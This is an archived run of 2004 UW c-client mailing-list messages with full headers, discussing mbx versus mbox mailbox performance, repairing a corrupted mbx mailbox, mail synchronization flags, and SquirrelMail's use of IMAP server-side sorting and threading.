Thu, 3 Jun 2004 11:06:55 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i53I5ci2055496 for ; Thu, 3 Jun 2004 11:05:38 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i53I5bSp001555 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 3 Jun 2004 11:05:37 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i53I5aIj005836; Thu, 3 Jun 2004 11:05:36 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i53I5agh005137; Thu, 3 Jun 2004 11:05:36 -0700 Message-Id: Date: Thu, 3 Jun 2004 11:05:36 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: shollatz@d.umn.edu Cc: c-client@u.washington.edu Subject: Re: mbox vs mbx decisions In-Reply-To: <200406031720.i53HKBbT025297@borg.d.umn.edu> References: <200406031720.i53HKBbT025297@borg.d.umn.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 3 Jun 2004 shollatz@d.umn.edu wrote: > The question is: When does the mbx performance gains over mbox begin? Mbx performance over traditional UNIX format is in all aspects. Whether or not these benefits are worth the cost to you of conversion is for you to decide. Here are some of the differences between traditional UNIX format and mbx format: A program opening a traditional UNIX format mailbox for read must read every byte in the file to locate the "From " lines. A program opening an mbx format for read must read the 2K internal header, and then 64 bytes per message. A program updating a flag in a traditional UNIX format mailbox must rewrite the message header holding the Status:/X-Status:/X-Keywords: lines, and probably must also rewrite the message body and all subsequent messages in the mailbox since the position of this body probably shifted. Because of this, c-client defers message status updates until the next checkpoint (check, expunge, or close) so it can do multiple updates at once. A program updating a flag in an mbx format mailbox only needs to change a single byte of the file. Because of this, c-client does message status updates immediately. Traditional UNIX format mailboxes use UNIX-style LF-only newline conventions. Consequently, texts must be converted to CRLF-format, and size calculations must take into account this conversion (the entire text must be scanned for bare LFs and the count incremented for each). Extra memory is required for this conversion. Mbx format mailboxes use Internet-style CRLF newline conventions, consequently no text conversions are necessary and size calculations are simply the difference between two pointers. Newly-delivered messages in traditional UNIX format must be rewritten when first read to set up Status:, X-Status:, X-Keywords:, and X-UID: lines in the message header to hold message metadata. These lines must also be filtered out prior to delivering header strings to the client. Newly-delivered messages in mbx format have the message metadata in the internal format header, not in the message, and the space is preallocated so no rewrite is necessary. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Jun 7 00:10:00 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Jun 2004 00:10:00 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5779taA010600 for ; Mon, 7 Jun 2004 00:09:55 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5779rUd028871 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 7 Jun 2004 00:09:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i57785IT009190; Mon, 7 Jun 2004 00:08:05 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i57742BE082876 for ; Mon, 7 Jun 2004 00:04:03 -0700 Received: from linoleic.hodulik.com ([66.54.159.140]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i577414N011120 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 7 Jun 2004 00:04:01 -0700 Received: from [192.168.0.100] (c-24-5-45-103.client.comcast.net [24.5.45.103]) (authenticated bits=0) by linoleic.hodulik.com (8.12.10/8.12.10) with ESMTP id i57740V6002634 for ; Mon, 7 Jun 2004 00:04:01 -0700 Message-Id: Date: Mon, 7 Jun 2004 00:03:54 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nick Hodulik To: c-client@u.washington.edu Subject: Weird MBX parse error Mime-Version: 1.0 (Apple Message framework v618) Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__MSGID_APPLEMAIL 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __CTE 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN We had a disk fill up this weekend and corrupt some mailboxes. I'm now getting a parse error. I have been successful at repairing mailboxes before, but this one is confounding, as the resulting error code is not covered in the FAQ and cannot be found in the file. It is: SELECT failed: unable to parse message date at 32230033: 8:39 -0800 Searching for any combination of any of these numbers in the file via emacs' ctrl-s comes up with nothing. What is the IMAP server trying to tell me? And why, when it encounters a corrupt header, can't it just skip to the next one? n -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 7 00:39:59 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 7 Jun 2004 00:39:59 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i577dxZl011441 for ; Mon, 7 Jun 2004 00:39:59 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i577dvZ7029613 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 7 Jun 2004 00:39:57 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i577cXXQ013248; Mon, 7 Jun 2004 00:38:33 -0700 Received: from mxu8.u.washington.edu (mxu8.u.washington.edu [140.142.32.142]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i577b8up007500 for ; Mon, 7 Jun 2004 00:37:08 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu8.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i577b7tQ022522 for ; Mon, 7 Jun 2004 00:37:07 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout6.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i577b6Ea030632; Mon, 7 Jun 2004 00:37:07 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i577b6bs032526; Mon, 7 Jun 2004 00:37:06 -0700 Message-Id: Date: Mon, 7 Jun 2004 00:37:06 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nick Hodulik Cc: c-client@u.washington.edu Subject: Re: Weird MBX parse error In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 7 Jun 2004, Nick Hodulik wrote: > We had a disk fill up this weekend and corrupt some mailboxes. I'm now > getting a parse error. I have been successful at repairing mailboxes before, > but this one is confounding, as the resulting error code is not covered in > the FAQ and cannot be found in the file. > SELECT failed: unable to parse message date at 32230033: 8:39 -0800 That error message is covered in the FAQ: http://www.washington.edu/imap/IMAP-FAQs/index.html#7.15 That FAQ answer also explains how you would go about fixing it. If you've repaired mailboxes before, I'm a bit surprised that you are having trouble with this problem because the same strategy is used to repair this problem. > Searching for any combination of any of these numbers in the file via emacs' > ctrl-s comes up with nothing. As those numbers are data as opposed to numeric error codes, they wouldn't appear in any documentation file. Try searching for the text "unable to parse message date" instead. > What is the IMAP server trying to tell me? At byte 32,230,033 in the file, it expected to find an mbx format internal date, which is in the form: 29-Feb-1984 01:23:45 -0800 but instead it found: 8:39 -0800 The text that it found looks like the last 10 characters of a date; so the first 16 characters of the date seem to be missing. Are they really missing? My guess is that the size count of the previous message is 16 character too high, thus the previous message ate into the next message. An examination of the file around byte 32,230,033 will tell for sure. The result of that examination will determine the best way to fix it. Please read the FAQ answer in: http://www.washington.edu/imap/IMAP-FAQs/index.html#7.15 and then ask again if you still have questions. > And why, when it encounters a corrupt header, can't it just skip to the next > one? There are two religions on how best to handle data corruption problems. One is to make the problem go away automatically, even at the cost of discarding salvagable user data. The other is to report what is wrong and demand that an expert fix it; and above all else, *never* do anything that will cause loss of data. I believe in the latter religion. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jun 9 07:34:10 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Jun 2004 07:34:10 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i59EYAGo032306 for ; Wed, 9 Jun 2004 07:34:10 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i59EY8Ge009592 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 9 Jun 2004 07:34:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i59EXmAJ011964; Wed, 9 Jun 2004 07:33:48 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i59ETNbj011828 for ; Wed, 9 Jun 2004 07:29:25 -0700 Received: from mail4.bluewin.ch (mail4.bluewin.ch [195.186.4.74]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i59ETH5K009616 for ; Wed, 9 Jun 2004 07:29:20 -0700 Received: from localhost (81.62.50.83) by mail4.bluewin.ch (Bluewin AG 7.0.028) id 40A46A6800327456 for c-client@u.washington.edu; Wed, 9 Jun 2004 14:29:16 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1BY44q-0004kM-00 for ; Wed, 09 Jun 2004 16:29:16 +0200 Message-Id: Date: Wed, 9 Jun 2004 16:29:16 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: c-client@u.washington.edu Subject: open_mail, flags and synchronization MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: tpo2@localhost X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_LONG_SPARSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm trying to fix mailsync a mail synchronizer to properly work wrt to flags. I'm trying to accomplish this by using c-client. I need to: * read the headers in box A * read the headers in box B * determine from the header which emails I have already seen in what inbox (same algorithm CVS is using) * copy all messages that A hasn't seen from B to A * copy all messages that B hasn't seen from A to B * delete all messages on B that were deleted on A * delete all messages on A that were deleted on B * expunge A * expunge B Now the mailsync source code is juggling with mail_open in a rather ugly way and I am not sure whether it is really succeeding in all cases to keep all the flags (especially "seen") intact on both A and B and at the same time trying to do that transparently with respect to where those boxes are (IMAP, mbox, mh, remote, locally, ...). So my first question is: is there a way to achieve the above with c-client, that is guaranteed to work? Basically this means: * open a box for reading messages * open a box for appending messages * expunge a box and at the same time keep all flags as they were. Second question: some of my MH users say that re-mail_open'ing a MH store will make it forget all all removal flags. Is this a known bug/problem/feature. Is there a work around or should I try to fix c-clients source with respect to this? Thanks a lot, *t -- ----------------------------------------------------------- Tomas Pospisek http://sourcepole.com - Linux & Open Source Solutions ----------------------------------------------------------- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jun 9 15:44:42 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Jun 2004 15:44:42 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i59Migo4028901 for ; Wed, 9 Jun 2004 15:44:42 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i59MiaKN023564 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 9 Jun 2004 15:44:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i59Mi6re013838; Wed, 9 Jun 2004 15:44:06 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i59MgsKp073444 for ; Wed, 9 Jun 2004 15:42:54 -0700 Received: from hpcaz.hpcaz.com (hpcaz.hpcaz.com [69.94.33.142]) by mxe3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i59Mgmdv025726 for ; Wed, 9 Jun 2004 15:42:48 -0700 Received: from hpcaz.com (localhost.localdomain [127.0.0.1]) (authenticated (0 bits)) by hpcaz.hpcaz.com (8.11.6/8.11.6) with ESMTP id i59Mght07429 for ; Wed, 9 Jun 2004 15:42:43 -0700 Received: from 63.226.46.10 (SquirrelMail authenticated user tsmith@hpcaz.com) by www.hpcaz.com with HTTP; Wed, 9 Jun 2004 15:42:43 -0700 (MST) Message-Id: <1138.63.226.46.10.1086820963.squirrel@www.hpcaz.com> Date: Wed, 9 Jun 2004 15:42:43 -0700 (MST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Thomas Smith" To: "UW IMAP" Subject: THREAD support in UW IMAP MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 X-Uwash-Spam: Gauge=XIII, Probability=13%, Report='PRIORITY_NO_NAME 0.716, UPPERCASE_25_50 0.450, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, __UPPERCASE_25_50 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, __HAS_MSGID 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'm working on optimizing Squirrelmail performance. Their web site suggested enabling "server-side sorting" and "server-side threading". See below for pre- and post-login messages from UW IMAP: * OK [CAPABILITY IMAP4REV1 LOGIN-REFERRALS STARTTLS AUTH=LOGIN] hpcaz.com IMAP4rev1 2001.315rh at Wed, 9 Jun 2004 15:31:45 -0700 (MST) a01 OK [CAPABILITY IMAP4REV1 IDLE NAMESPACE MAILBOX-REFERRALS SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] User tsmith hpcaz.com authenticated My questions are this: 1) I see that SORT is listed as a CAPABILITY--is this all that I need to be concerned with or are there "tweaks" to make it more efficient? 2) There are multiple THREAD CAPABILITY entries above. Are there more potential THREAD features that can be added? 3) Is there a way to tell if the IMAP clients are actually using the CAPABILITYs? That is, how can I test to ensure the "CAPABILITY" is working properly? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jun 9 16:25:20 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Jun 2004 16:25:20 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i59NPKxT031018 for ; Wed, 9 Jun 2004 16:25:20 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i59NPIgK032407 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 9 Jun 2004 16:25:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i59NOoiL010896; Wed, 9 Jun 2004 16:24:50 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i59NNqWg033376 for ; Wed, 9 Jun 2004 16:23:52 -0700 Received: from ensc.cpsc.ucalgary.ca (ensc.cpsc.ucalgary.ca [136.159.2.4]) by mxe3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i59NNkMd003493 for ; Wed, 9 Jun 2004 16:23:47 -0700 Received: from imgw1.cpsc.ucalgary.ca (imgw1.cpsc.ucalgary.ca [136.159.5.9]) by ensc.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id i59NINLr013196; Wed, 9 Jun 2004 17:18:23 -0600 (MDT) Received: from ms257a.cpsc.ucalgary.ca (ms257a [136.159.4.248]) by imgw1.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id i59NIJpi031280; Wed, 9 Jun 2004 17:18:19 -0600 Received: (from arlt@localhost) by ms257a.cpsc.ucalgary.ca (8.12.6/8.12.6/Submit) id i59NIIKC021564; Wed, 9 Jun 2004 17:18:18 -0600 (MDT) Message-Id: <20040609231818.GB15615@ms257a.cpsc.ucalgary.ca> Date: Wed, 9 Jun 2004 17:18:18 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brad Arlt To: Thomas Smith Cc: UW IMAP Subject: Re: THREAD support in UW IMAP In-Reply-To: <1138.63.226.46.10.1086820963.squirrel@www.hpcaz.com> References: <1138.63.226.46.10.1086820963.squirrel@www.hpcaz.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Virus-Scanned: by amavis-milter (http://amavis.org/) X-Spam-Status: No, hits=2.9 required=6.8 X-Spam-Level: ** X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CD 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, Jun 09, 2004 at 03:42:43PM -0700, Thomas Smith wrote: > 3) Is there a way to tell if the IMAP clients are actually using the > CAPABILITYs? That is, how can I test to ensure the "CAPABILITY" is working > properly? Squirrelmail allows you to ignore the CAPABILITY string. I believe it will ignore your request to use server threads if the server doesn't support this. It does this to allow you to choose which is faster. I use SquirrelMail and UW-Imap. I turn both server side sorting and threading on in SquirrelMail. Whether this is faster for you, I can't say. ----------------------------------------------------------------------- __o Bradley Arlt Security Team Lead _ \<_ arlt@cpsc.ucalgary.ca University Of Calgary (_)/(_) Las hojas de coca no es droga. Computer Science From pinedev@shivax2.cac.washington.edu Wed Jun 9 19:01:04 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 9 Jun 2004 19:01:04 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5A213vN004986 for ; Wed, 9 Jun 2004 19:01:03 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5A20xsX005176 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 9 Jun 2004 19:01:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5A20bgH014738; Wed, 9 Jun 2004 19:00:37 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5A1xf30024800 for ; Wed, 9 Jun 2004 18:59:41 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5A1xeKJ004006 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 9 Jun 2004 18:59:40 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5A1xdcB009805; Wed, 9 Jun 2004 18:59:39 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5A1xd9d019179; Wed, 9 Jun 2004 18:59:39 -0700 Message-Id: Date: Wed, 9 Jun 2004 18:59:39 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Thomas Smith Cc: UW IMAP Subject: Re: THREAD support in UW IMAP In-Reply-To: <1138.63.226.46.10.1086820963.squirrel@www.hpcaz.com> References: <1138.63.226.46.10.1086820963.squirrel@www.hpcaz.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 9 Jun 2004, Thomas Smith wrote: > I'm working on optimizing Squirrelmail performance. Their web site > suggested enabling "server-side sorting" and "server-side threading". UW imapd supports full server-side sorting and threading. As there is is no way to disable it, it does not require enabling. > 1) I see that SORT is listed as a CAPABILITY--is this all that I need to > be concerned with Yes > or are there "tweaks" to make it more efficient? No > 2) There are multiple THREAD CAPABILITY entries above. Are there more > potential THREAD features that can be added? Yes; but at the current time there are only two defined threading algorithms: ORDEREDSUBJECT and REFERENCES. REFERENCES is the algorithm that most people consider to be "threading". > 3) Is there a way to tell if the IMAP clients are actually using the > CAPABILITYs? If the client issues SORT and THREAD commands, then it is using the capability. You can determine this by watching the protocol transactions. Use of server-side sorting and threading depends upon two things: 1) Server support: this is announced by the CAPABILITY 2) Client support: typically this noted in the client documentation. > That is, how can I test to ensure the "CAPABILITY" is working > properly? Sorting and threading works correctly in UW imapd and in Cyrus imapd. I do not recommend attempting to use sorting and threading in Courier, as that server is not an IMAP server and the sorting/threading features that it advertises are known to be broken. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 10 00:32:06 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 10 Jun 2004 00:32:06 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5A7W5XB017818 for ; Thu, 10 Jun 2004 00:32:05 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5A7W4G9014685 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 10 Jun 2004 00:32:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i5A7VmIm016028; Thu, 10 Jun 2004 00:31:48 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i5A7UJcX024964 for ; Thu, 10 Jun 2004 00:30:19 -0700 Received: from mail5.bluewin.ch (mail5.bluewin.ch [195.186.1.207]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i5A7UDJM008117 for ; Thu, 10 Jun 2004 00:30:14 -0700 Received: from localhost (83.76.92.185) by mail5.bluewin.ch (Bluewin AG 7.0.028) id 40A46B2100355D61 for c-client@u.washington.edu; Thu, 10 Jun 2004 07:30:12 +0000 Received: from tpo2 (helo=localhost) by localhost with local-esmtp (Exim 3.36 #1 (Debian)) id 1BYK0q-00014O-00 for ; Thu, 10 Jun 2004 09:30:12 +0200 Message-Id: Date: Thu, 10 Jun 2004 09:30:12 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Tomas Pospisek's Mailing Lists" To: c-client@u.washington.edu Subject: Re: open_mail, flags and synchronization In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: tpo2@localhost X-Uwash-Spam: 